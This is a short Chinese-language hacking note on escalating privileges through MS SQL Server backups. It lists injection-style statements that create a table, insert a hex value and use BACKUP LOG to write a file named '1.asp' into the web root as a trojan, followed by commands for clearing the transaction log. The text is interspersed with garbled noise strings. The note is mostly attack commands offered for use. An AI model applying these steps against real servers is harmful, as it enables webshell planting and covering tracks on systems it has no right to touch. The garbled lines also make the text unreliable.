差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录
& v; b6 l+ D0 O' B
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

. D9 w5 l: j. ralter database 数据库名 set RECOVERY FULL--

& H0 @0 T! e( a. u) `/ o0 A2 Jcreate table cmd (a image)--                    \**cmd是创建的临时表

. f9 t; V# ~+ D' f; V- Q  K# @backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
5 M4 C8 ]) I4 x; ^$ Q
. F: c  }& c9 J" `insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
+ y0 [, D9 `: t! Z7 Y. M9 }
2 B) d1 L+ @3 T6 n//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

% }9 e8 M- d3 w3 b1 ebackup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
7 k$ q) e; m2 V; S& Z, Z9 x- B
' ?* B, ?+ y) U" ?- h/ Kdrop table cmd--


f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
7 \9 c. `2 Z6 ^# L$ M; k- L5 p
- k3 w5 _, s# r: Y7 V; Y1 U# s最好多加几个回车0d0a,要不会出错哈
  R5 r/ l) T2 J; t& q* J: v
5 n+ Y5 W" y6 k" ]: N
; k( H9 E# Q: ~* JSQL   Server日志清空方法   
/ @$ y: j$ k3 O& r2 c0 w
" F+ Z3 a& [& ]在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   
5 L; p1 ]9 L2 M' _3 |; d. _; H/ B
2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
/ r& ?; x4 l# c% c7 ^* ~
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)